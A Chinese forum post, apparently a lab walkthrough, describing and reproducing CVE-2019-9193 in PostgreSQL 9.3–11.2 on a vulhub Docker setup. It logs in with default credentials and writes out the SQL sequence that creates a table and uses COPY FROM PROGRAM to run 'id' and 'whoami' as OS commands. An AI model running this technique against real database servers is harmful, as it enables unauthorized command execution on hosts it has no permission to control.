用户
搜索
  • TA的每日心情
    开心
    2022-1-12 17:18
  • 签到天数: 42 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-见习白帽

    Rank: 3Rank: 3

    8

    主题

    73

    帖子

    2225

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-7-19
    发表于 2021-12-31 15:02:54 0832

    PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

    0X00漏洞描述

    PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

    从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

    由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

    0x01影响版本

    9.3-11.2

    0x02环境搭建

    vulhub下载地址:https://github.com/vulhub/vulhub

    启动存在漏洞的环境:docker-compose up -d

    0x03漏洞复现

    启动环境后,使用工具进行连接或者用其他方法,这里我用的Navicat数据库初始账号密码为postgres/postgres

    image-20210918112340819

    执行删除想保存命令但是存在的表

    DROP TABLE IF EXISTS cmd_exec;

    image-20210918112557185

    创建保存命令的表

    CREATE TABLE cmd_exec(cmd_output text);

    image-20210918112633968

    执行系统命令

    这里主要通过COPY FROM PROGRAM

    COPY cmd_exec FROM PROGRAM 'id';

    image-20210918112732332

    查询该表

    image-20210918112800373

    执行`whoami

    image-20210918112830920

    image-20210918112848438

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册